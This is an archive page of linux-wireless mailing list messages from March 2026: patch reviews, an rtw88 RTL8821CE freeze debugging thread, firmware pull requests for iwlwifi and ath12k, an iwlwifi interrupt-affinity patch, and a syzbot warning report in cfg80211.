> ath12k_pci 0001:01:00.0: qmi failed to send wlan mode off
>
> Use the __le32 data type for the HE/EHT capabilities instead and avoid
> swapping, so that both platform endiannesses are supported.
>
> Signed-off-by: Alexander Wilhelm <alexander.wilhelm@westermo.com>
With this series applied I see with make W=1 C=1:
drivers/net/wireless/ath/ath12k/debugfs.c:413:65: warning: incorrect type in argument 1 (different base types)
drivers/net/wireless/ath/ath12k/debugfs.c:413:65: expected unsigned int [usertype] v
drivers/net/wireless/ath/ath12k/debugfs.c:413:65: got restricted __le32
From existing code:
f5c90ff80b4c0 (Sowmiya Sree Elavalagan 2025-01-30 11:41:04 +0530 413) extra_mcs_supported = u32_get_bits(cap_band->he_cap_info[1],
^ permalink raw reply
* Re: [BUG] wifi: rtw88: Hard system freeze on RTL8821CE when power_save is enabled (LPS/ASPM conflict)
From: LB F @ 2026-03-18 0:00 UTC (permalink / raw)
To: Ping-Ke Shih; +Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org
In-Reply-To: <e5f00d0a42994812b42df867718fa087@realtek.com>
Ping-Ke Shih <pkshih@realtek.com> wrote:
> To reproduce this reliable, you need to remove driver ko and mac80211.ko,
> and reinstall them.
>
> However, you have confirmed this is the symptom. I think only if you
> want to dig why the rate reported by hardware is weird, otherwise we
> can ignore this warning.
Following your suggestion, I performed a full stack reload including
mac80211.ko and cfg80211.ko, and was able to reproduce the warning:
[152.226055] Rate marked as a VHT rate but data is invalid: MCS: 0, NSS: 0
[152.226057] WARNING: net/mac80211/rx.c:5491 at
ieee80211_rx_list+0x177/0x1020 [mac80211]
[152.226336] CPU: 2 UID: 0 PID: 638 Comm: irq/56-rtw_pci Tainted: G
IOE 6.19.7-1-cachyos
[152.226344] Hardware name: HP HP Notebook/81F0, BIOS F.50 11/20/2020
One observation worth mentioning: the warning triggered approximately
72 seconds after initial association, coinciding with a Bluetooth
device connecting to the system. This may suggest the NSS=0 condition
occurs during BT coexistence negotiation rather than during normal
WiFi traffic. I am not sure if this is relevant, but I wanted to
mention it in case it helps narrow down the root cause.
I also noticed the offset is now +0x177, which matches exactly what
you showed from v6.19.6. The earlier +0x183 was likely an artifact of
CachyOS's LTO optimizations while mac80211 had been resident for a
long time.
As you noted, this appears to be a separate issue from the freeze and
h2c timeout problems, so I leave it to your judgment whether it
warrants further investigation.
---
I would like to take this opportunity to thank you sincerely for your
time, patience, and expertise throughout this whole process. From your
very first response to the final v2 patch, your guidance made it
possible to properly identify and resolve a bug that had been causing
real frustration for users of this hardware for a long time.
If any further testing of the rtw88 driver is needed -- whether for
this hardware or for other patches -- I am happy to help to the best
of my abilities and available time. This HP Notebook with RTL8821CE
will remain available for testing whenever it is useful.
Best regards,
Oleksandr Havrylov
вт, 17 мар. 2026 г. в 03:28, Ping-Ke Shih <pkshih@realtek.com>:
>
> LB F <goainwo@gmail.com> wrote:
> >
> > Ping-Ke Shih <pkshih@realtek.com> wrote:
> > > Not sure if this is because PCIE bridge has no ASPM capability?
> >
> > That could indeed be the case -- I do not have a way to confirm
> > without further hardware-level inspection.
> >
> > > LN5491 (kernel v6.19.6) is:
> > > case RX_ENC_VHT:
> > > if (WARN_ONCE(status->rate_idx > 11 ||
> > > !status->nss ||
> > > status->nss > 8,
> > > "Rate marked as a VHT rate but data is
> > invalid: MCS: %d, NSS: %d\n",
> > > status->rate_idx, status->nss))
> > > goto drop;
> > > break;
> > > Looks like driver reports improper VHT nss/rate? But this warns once, and
> > > you message isn't like this.
> > > Could you check the source code LN5491 you are using?
> >
> > The file net/mac80211/rx.c is not available on disk on my system
> > (CachyOS ships only .h files in the headers package), but I located
> > the exact warning message in journalctl:
> >
> > Rate marked as a VHT rate but data is invalid: MCS: 0, NSS: 0
> >
> > This confirms that line 5491 in my kernel matches exactly what you
> > showed from v6.19.6 -- the RX_ENC_VHT case checking for
> > status->nss == 0. The offset in my trace is slightly different
> > (+0x183 vs +0x177), which is likely due to CachyOS's LTO/AutoFDO
> > compiler optimizations.
> >
> > The warning appeared once in my initial test session:
> >
> > Rate marked as a VHT rate but data is invalid: MCS: 0, NSS: 0
> > WARNING: net/mac80211/rx.c:5491 at ieee80211_rx_list+0x183/0x1020 [mac80211]
> >
> > However, in subsequent module reload and reconnect cycles I was unable
> > to reproduce it. This is consistent with WARN_ONCE behavior -- it
> > likely fired on the first invalid nss=0 packet after the initial
> > driver load and has not triggered since. I cannot confirm it as a
> > reliable symptom.
>
> To reproduce this reliable, you need to remove driver ko and mac80211.ko,
> and reinstall them.
>
> However, you have confirmed this is the symptom. I think only if you
> want to dig why the rate reported by hardware is weird, otherwise we
> can ignore this warning.
>
> >
> > ---
> >
> > Regarding patch stability: the results below are from testing your
> > original RFT patch [1], not any newer submission. I want to be
> > explicit to avoid confusion:
> >
> > [1]
> > https://lore.kernel.org/linux-wireless/20260311020816.7065-1-pkshih@realtek.
> > com/
> >
> > This is the exact diff I compiled and tested:
> >
> > --- a/drivers/net/wireless/realtek/rtw88/pci.c
> > +++ b/drivers/net/wireless/realtek/rtw88/pci.c
> > @@ -2,6 +2,7 @@
> > /* Copyright(c) 2018-2019 Realtek Corporation
> > */
> >
> > +#include <linux/dmi.h>
> > #include <linux/module.h>
> > #include <linux/pci.h>
> > #include "main.h"
> > @@ -1744,6 +1745,34 @@ const struct pci_error_handlers rtw_pci_err_handler = {
> > };
> > EXPORT_SYMBOL(rtw_pci_err_handler);
> >
> > +enum rtw88_quirk_dis_pci_caps {
> > + QUIRK_DIS_PCI_CAP_ASPM,
> > +};
> > +
> > +static int disable_pci_caps(const struct dmi_system_id *dmi)
> > +{
> > + uintptr_t dis_caps = (uintptr_t)dmi->driver_data;
> > +
> > + if (dis_caps & BIT(QUIRK_DIS_PCI_CAP_ASPM))
> > + rtw_pci_disable_aspm = true;
> > +
> > + return 1;
> > +}
> > +
> > +static const struct dmi_system_id rtw88_pci_quirks[] = {
> > + {
> > + .callback = disable_pci_caps,
> > + .ident = "HP Notebook - P3S95EA#ACB",
> > + .matches = {
> > + DMI_MATCH(DMI_SYS_VENDOR, "HP"),
> > + DMI_MATCH(DMI_PRODUCT_NAME, "HP Notebook"),
> > + DMI_MATCH(DMI_PRODUCT_SKU, "P3S95EA#ACB"),
> > + },
> > + .driver_data = (void *)BIT(QUIRK_DIS_PCI_CAP_ASPM),
> > + },
> > + {}
> > +};
> > +
> > int rtw_pci_probe(struct pci_dev *pdev,
> > const struct pci_device_id *id)
> > {
> > @@ -1808,6 +1837,7 @@ int rtw_pci_probe(struct pci_dev *pdev,
> > bridge && bridge->vendor == PCI_VENDOR_ID_INTEL)
> > rtwpci->rx_no_aspm = true;
> >
> > + dmi_check_system(rtw88_pci_quirks);
> > rtw_pci_phy_cfg(rtwdev);
> >
> > ret = rtw_register_hw(rtwdev, hw);
> >
> > Results with only this patch applied:
> >
> > - The hard freeze lockup is gone.
> > - However, during idle the logs are flooded with:
> >
> > rtw88_8821ce 0000:13:00.0: failed to send h2c command
> > rtw88_8821ce 0000:13:00.0: firmware failed to leave lps state
> >
> > - To give a concrete sense of the volume: over an ~80-minute
> > observation window after a clean module reload, I recorded
> > 11,757 "failed to send h2c command" events and 2 "firmware
> > failed to leave lps state" events -- approximately 110 errors
> > per minute during active periods.
> > - These errors cause Bluetooth audio stuttering and WiFi
> > throughput drops.
> >
> > When I additionally set disable_lps_deep=Y alongside your ASPM patch,
> > all h2c errors vanish completely and Bluetooth/WiFi remain fully
> > stable. This confirms that disabling LPS Deep is necessary for
> > complete stability on this specific HP SKU.
> >
> > I also noticed what appears to be a new patch in a separate mailing
> > list thread. I will test it shortly and report back with the results.
>
> Thanks for your experiments in detail. :)
>
> Ping-Ke
>
^ permalink raw reply
* Re: [PATCH v3 1/1] wifi: mt76: mt7921: fix txpower reporting from rate power configuration
From: Lucid Duck @ 2026-03-17 21:51 UTC (permalink / raw)
To: linux-wireless; +Cc: nbd, sean.wang, lorenzo, linux-mediatek, stable
In-Reply-To: <20260317173016.136975-2-lucid_duck@justthetip.ca>
I missed adding the stable tag. This bug has been present since the
mt7921 driver was introduced, so it should be backported to maintained
stable kernels:
Cc: stable@vger.kernel.org
Fixes: 1c099ab44727 ("mt76: mt7921: add MAC support")
Sorry for the oversight.
Lucid Duck
^ permalink raw reply
* pull request: iwlwifi firmware update 2026-03-17
From: Korenblit, Miriam Rachel @ 2026-03-17 21:21 UTC (permalink / raw)
To: linux-firmware@kernel.org
Cc: kyle@infradead.org, Josh Boyer, Hutchings, Ben, Dreyfuss, Haim,
Yang, You-Sheng, Linux Wireless
Hi,
This contains the firmware of core102 for Bz/Wh.
This was missing in the core102 release.
Please pull or let me know if there are any issues.
Thanks,
Miri
---
The following changes since commit 81f761d1b5fd51469d87d1633a959dbff4785f58:
Merge branch 'mt792x-bt' into 'main' (2026-03-17 17:33:37 +0000)
are available in the Git repository at:
http://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/linux-firmware.git tags/iwlwifi-fw-2026-03-17
for you to fetch changes up to abcbad3cc9588bc6e2f410b5984642c9cd46520b:
iwlwifi: add Bz/Wh FW for core102-56 release (2026-03-17 23:14:14 +0200)
----------------------------------------------------------------
Release Bz/Wh of Core102
jenkins-Core_manual_signed_core102-56
----------------------------------------------------------------
Miri Korenblit (1):
iwlwifi: add Bz/Wh FW for core102-56 release
WHENCE | 4 ++++
intel/iwlwifi/iwlwifi-bz-b0-wh-b0-c102.ucode | Bin 0 -> 2116884 bytes
2 files changed, 4 insertions(+)
create mode 100644 intel/iwlwifi/iwlwifi-bz-b0-wh-b0-c102.ucode
^ permalink raw reply
* Re: [PULL linux-firmware] ath10k, ath11k and ath12k firmware ath-20260317
From: Jeff Johnson @ 2026-03-17 21:19 UTC (permalink / raw)
To: Dmitry Baryshkov
Cc: linux-firmware, linux-wireless, ath10k, ath11k, ath12k, jjohnson
In-Reply-To: <sxyottdaf2tu7swtvs46cziq4s7vraebrgclia3i625lnczf3x@bo7ssgih5mjk>
On 3/17/2026 1:58 PM, Dmitry Baryshkov wrote:
> On Tue, Mar 17, 2026 at 01:18:59PM -0700, Jeff Johnson wrote:
>> The following changes since commit 81f761d1b5fd51469d87d1633a959dbff4785f58:
>>
>> Merge branch 'mt792x-bt' into 'main' (2026-03-17 17:33:37 +0000)
>>
>> are available in the Git repository at:
>>
>> git://git.kernel.org/pub/scm/linux/kernel/git/ath/linux-firmware.git ath-20260317
>>
>> for you to fetch changes up to 6fb33265936075ee1bb5a31786a4fe1b30fdd001:
>>
>> ath12k: WCN7850 hw2.0: update to WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3 (2026-03-17 13:07:48 -0700)
>>
>> ----------------------------------------------------------------
>> Hi,
>> Here's a new pull request for ath10k, ath11k and ath12k.
>>
>> No updates for ath10k or ath11k
>>
>> For ath12k:
>> Update WCN7850 firmware a new unified firmware supporting Mobile, IoT,
>> and Automotive.
>
> Thanks, updated and pushed out.
> https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/962
>
> In future, could you please include similar information into the commit
> message too?
ACK
^ permalink raw reply
* Re: [PULL linux-firmware] ath10k, ath11k and ath12k firmware ath-20260317
From: Dmitry Baryshkov @ 2026-03-17 20:58 UTC (permalink / raw)
To: Jeff Johnson
Cc: linux-firmware, linux-wireless, ath10k, ath11k, ath12k, jjohnson
In-Reply-To: <3ff94227-db20-429b-9872-75faf39daec2@oss.qualcomm.com>
On Tue, Mar 17, 2026 at 01:18:59PM -0700, Jeff Johnson wrote:
> The following changes since commit 81f761d1b5fd51469d87d1633a959dbff4785f58:
>
> Merge branch 'mt792x-bt' into 'main' (2026-03-17 17:33:37 +0000)
>
> are available in the Git repository at:
>
> git://git.kernel.org/pub/scm/linux/kernel/git/ath/linux-firmware.git ath-20260317
>
> for you to fetch changes up to 6fb33265936075ee1bb5a31786a4fe1b30fdd001:
>
> ath12k: WCN7850 hw2.0: update to WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3 (2026-03-17 13:07:48 -0700)
>
> ----------------------------------------------------------------
> Hi,
> Here's a new pull request for ath10k, ath11k and ath12k.
>
> No updates for ath10k or ath11k
>
> For ath12k:
> Update WCN7850 firmware a new unified firmware supporting Mobile, IoT,
> and Automotive.
Thanks, updated and pushed out.
https://gitlab.com/kernel-firmware/linux-firmware/-/merge_requests/962
In future, could you please include similar information into the commit
message too?
>
> Please let me know if there are any problems.
>
> Thanks,
> /jeff
>
> ----------------------------------------------------------------
> Jeff Johnson (1):
> ath12k: WCN7850 hw2.0: update to WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3
>
> WHENCE | 2 +-
> ath12k/WCN7850/hw2.0/amss.bin | Bin 6082624 -> 6090816 bytes
> ath12k/WCN7850/hw2.0/m3.bin | Bin 299660 -> 299660 bytes
> 3 files changed, 1 insertion(+), 1 deletion(-)
--
With best wishes
Dmitry
^ permalink raw reply
* [PULL linux-firmware] ath10k, ath11k and ath12k firmware ath-20260317
From: Jeff Johnson @ 2026-03-17 20:18 UTC (permalink / raw)
To: linux-firmware; +Cc: linux-wireless, ath10k, ath11k, ath12k, jjohnson
The following changes since commit 81f761d1b5fd51469d87d1633a959dbff4785f58:
Merge branch 'mt792x-bt' into 'main' (2026-03-17 17:33:37 +0000)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/ath/linux-firmware.git ath-20260317
for you to fetch changes up to 6fb33265936075ee1bb5a31786a4fe1b30fdd001:
ath12k: WCN7850 hw2.0: update to WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3 (2026-03-17 13:07:48 -0700)
----------------------------------------------------------------
Hi,
Here's a new pull request for ath10k, ath11k and ath12k.
No updates for ath10k or ath11k
For ath12k:
Update WCN7850 firmware a new unified firmware supporting Mobile, IoT,
and Automotive.
Please let me know if there are any problems.
Thanks,
/jeff
----------------------------------------------------------------
Jeff Johnson (1):
ath12k: WCN7850 hw2.0: update to WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3
WHENCE | 2 +-
ath12k/WCN7850/hw2.0/amss.bin | Bin 6082624 -> 6090816 bytes
ath12k/WCN7850/hw2.0/m3.bin | Bin 299660 -> 299660 bytes
3 files changed, 1 insertion(+), 1 deletion(-)
^ permalink raw reply
* [PATCH v4] wifi: iwlwifi: pcie: optimize MSI-X interrupt affinity
From: Adrián García Casado @ 2026-03-17 19:32 UTC (permalink / raw)
To: Miri Korenblit
Cc: linux-wireless, linux-kernel, Miguel Ojeda,
Adrián García Casado
Balanced distribution: skip CPU0 for high-rate RSS queues to avoid contention with system housekeeping. Use a stateful last_cpu approach to ensure unique core assignment when skipping CPU0. This avoids mapping multiple queues to the same core.
Signed-off-by: Adrián García Casado <adriangarciacasado42@gmail.com>
---
.../intel/iwlwifi/pcie/gen1_2/trans.c | 20 ++++++++++++++-----
1 file changed, 15 insertions(+), 5 deletions(-)
diff --git a/drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/trans.c b/drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/trans.c
index 4560d92d7..7077ec015 100644
--- a/drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/trans.c
+++ b/drivers/net/wireless/intel/iwlwifi/pcie/gen1_2/trans.c
@@ -1672,18 +1672,28 @@ static void iwl_pcie_irq_set_affinity(struct iwl_trans *trans,
struct iwl_trans_info *info)
{
#if defined(CONFIG_SMP)
- int iter_rx_q, i, ret, cpu, offset;
+ int iter_rx_q, i, ret, cpu, offset, last_cpu;
struct iwl_trans_pcie *trans_pcie = IWL_TRANS_GET_PCIE_TRANS(trans);
i = trans_pcie->shared_vec_mask & IWL_SHARED_IRQ_FIRST_RSS ? 0 : 1;
iter_rx_q = info->num_rxqs - 1 + i;
- offset = 1 + i;
+ last_cpu = -1;
for (; i < iter_rx_q ; i++) {
/*
- * Get the cpu prior to the place to search
- * (i.e. return will be > i - 1).
+ * Balanced distribution: skip CPU0 for high-rate RSS queues
+ * to avoid contention with system housekeeping.
*/
- cpu = cpumask_next(i - offset, cpu_online_mask);
+ cpu = cpumask_next(last_cpu, cpu_online_mask);
+ if (cpu >= nr_cpu_ids)
+ cpu = cpumask_first(cpu_online_mask);
+
+ if (cpu == 0 && num_online_cpus() > 1) {
+ cpu = cpumask_next(0, cpu_online_mask);
+ if (cpu >= nr_cpu_ids)
+ cpu = cpumask_first(cpu_online_mask);
+ }
+ last_cpu = cpu;
+
cpumask_set_cpu(cpu, &trans_pcie->affinity_mask[i]);
ret = irq_set_affinity_hint(trans_pcie->msix_entries[i].vector,
&trans_pcie->affinity_mask[i]);
--
2.47.3
^ permalink raw reply related
* [PATCH] wifi: ath: Fix the license marking
From: Daniel Lezcano @ 2026-03-17 18:08 UTC (permalink / raw)
To: jjohnson
Cc: open list:QUALCOMM ATHEROS ATH10K WIRELESS DRIVER,
open list:QUALCOMM ATHEROS ATH10K WIRELESS DRIVER, open list,
open list:QUALCOMM ATHEROS ATH11K WIRELESS DRIVER
The Copyright for Qualcomm changed its format and replaces the old
Qualcomm Innovative Center by Qualcomm Technology Inc.
Signed-off-by: Daniel Lezcano <daniel.lezcano@oss.qualcomm.com>
---
drivers/net/wireless/ath/ath10k/qmi.c | 2 +-
drivers/net/wireless/ath/ath11k/qmi.c | 1 -
2 files changed, 1 insertion(+), 2 deletions(-)
diff --git a/drivers/net/wireless/ath/ath10k/qmi.c b/drivers/net/wireless/ath/ath10k/qmi.c
index 4fdd0af415d5..acad75d49d98 100644
--- a/drivers/net/wireless/ath/ath10k/qmi.c
+++ b/drivers/net/wireless/ath/ath10k/qmi.c
@@ -1,7 +1,7 @@
// SPDX-License-Identifier: ISC
/*
* Copyright (c) 2018 The Linux Foundation. All rights reserved.
- * Copyright (c) 2022-2023 Qualcomm Innovation Center, Inc. All rights reserved.
+ * Copyright (c) Qualcomm Technologies, Inc. and/or its subsidiaries.
*/
#include <linux/completion.h>
diff --git a/drivers/net/wireless/ath/ath11k/qmi.c b/drivers/net/wireless/ath/ath11k/qmi.c
index 1397756d6251..410a7ee076a0 100644
--- a/drivers/net/wireless/ath/ath11k/qmi.c
+++ b/drivers/net/wireless/ath/ath11k/qmi.c
@@ -1,7 +1,6 @@
// SPDX-License-Identifier: BSD-3-Clause-Clear
/*
* Copyright (c) 2018-2019 The Linux Foundation. All rights reserved.
- * Copyright (c) 2021-2025 Qualcomm Innovation Center, Inc. All rights reserved.
* Copyright (c) Qualcomm Technologies, Inc. and/or its subsidiaries.
*/
--
2.43.0
^ permalink raw reply related
* [syzbot] [wireless?] WARNING in cfg80211_chandef_create
From: syzbot @ 2026-03-17 17:43 UTC (permalink / raw)
To: johannes, linux-kernel, linux-wireless, netdev, syzkaller-bugs
Hello,
syzbot found the following issue on:
HEAD commit: b84a0ebe421c Add linux-next specific files for 20260313
git tree: linux-next
console output: https://syzkaller.appspot.com/x/log.txt?x=11308216580000
kernel config: https://syzkaller.appspot.com/x/.config?x=e7280ad1f68b2dce
dashboard link: https://syzkaller.appspot.com/bug?extid=d9f5fabbbcf4b377d01f
compiler: Debian clang version 21.1.8 (++20251221033036+2078da43e25a-1~exp1~20251221153213.50), Debian LLD 21.1.8
syz repro: https://syzkaller.appspot.com/x/repro.syz?x=1090c8da580000
C reproducer: https://syzkaller.appspot.com/x/repro.c?x=179338da580000
Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/09145161a8a9/disk-b84a0ebe.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/b64c254e474c/vmlinux-b84a0ebe.xz
kernel image: https://storage.googleapis.com/syzbot-assets/a7c33f5f7f45/bzImage-b84a0ebe.xz
IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+d9f5fabbbcf4b377d01f@syzkaller.appspotmail.com
------------[ cut here ]------------
chan->band == NL80211_BAND_60GHZ || chan->band == NL80211_BAND_S1GHZ
WARNING: net/wireless/chan.c:35 at cfg80211_chandef_create+0x99/0x3d0 net/wireless/chan.c:34, CPU#1: syz.0.17/6021
Modules linked in:
CPU: 1 UID: 0 PID: 6021 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
RIP: 0010:cfg80211_chandef_create+0x99/0x3d0 net/wireless/chan.c:34
Code: 8b 26 4c 89 e7 48 c7 c6 20 78 26 90 e8 60 be ad f6 49 83 fc 04 74 0d 41 83 fc 02 75 12 e8 cf b8 ad f6 eb 05 e8 c8 b8 ad f6 90 <0f> 0b 90 eb 05 e8 bd b8 ad f6 89 ef 48 c7 c6 40 78 26 90 e8 2f be
RSP: 0018:ffffc90003986f30 EFLAGS: 00010293
RAX: ffffffff8b193a38 RBX: ffffc900039870a0 RCX: ffff888032143d00
RDX: 0000000000000000 RSI: ffffffff90267820 RDI: 0000000000000004
RBP: 0000000000000002 R08: ffff888032143d00 R09: 0000000000000002
R10: 0000000000000004 R11: 0000000000000000 R12: 0000000000000004
R13: dffffc0000000000 R14: ffff888012a762f8 R15: ffffc900039870a8
FS: 0000555592955500(0000) GS:ffff888124ee0000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fbf5f187600 CR3: 0000000077436000 CR4: 00000000003526f0
Call Trace:
<TASK>
_nl80211_parse_chandef+0x437/0x1300 net/wireless/nl80211.c:3637
__nl80211_set_channel+0x248/0x880 net/wireless/nl80211.c:3761
nl80211_set_wiphy+0x116b/0x2fa0 net/wireless/nl80211.c:-1
genl_family_rcv_msg_doit+0x22a/0x330 net/netlink/genetlink.c:1114
genl_family_rcv_msg net/netlink/genetlink.c:1194 [inline]
genl_rcv_msg+0x61c/0x7a0 net/netlink/genetlink.c:1209
netlink_rcv_skb+0x232/0x4b0 net/netlink/af_netlink.c:2550
genl_rcv+0x28/0x40 net/netlink/genetlink.c:1218
netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline]
netlink_unicast+0x80f/0x9b0 net/netlink/af_netlink.c:1344
netlink_sendmsg+0x813/0xb40 net/netlink/af_netlink.c:1894
sock_sendmsg_nosec+0x112/0x150 net/socket.c:796
__sock_sendmsg net/socket.c:811 [inline]
____sys_sendmsg+0x589/0x8c0 net/socket.c:2668
___sys_sendmsg+0x2a5/0x360 net/socket.c:2722
__sys_sendmsg net/socket.c:2754 [inline]
__do_sys_sendmsg net/socket.c:2759 [inline]
__se_sys_sendmsg net/socket.c:2757 [inline]
__x64_sys_sendmsg+0x1bd/0x2a0 net/socket.c:2757
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fbf5f19c799
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffe1eb2d0b8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 00007fbf5f415fa0 RCX: 00007fbf5f19c799
RDX: 0000000000000000 RSI: 0000200000000040 RDI: 0000000000000004
RBP: 00007fbf5f232c99 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fbf5f415fac R14: 00007fbf5f415fa0 R15: 00007fbf5f415fa0
</TASK>
---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.
syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title
If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.
If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)
If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report
If you want to undo deduplication, reply with:
#syz undup
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox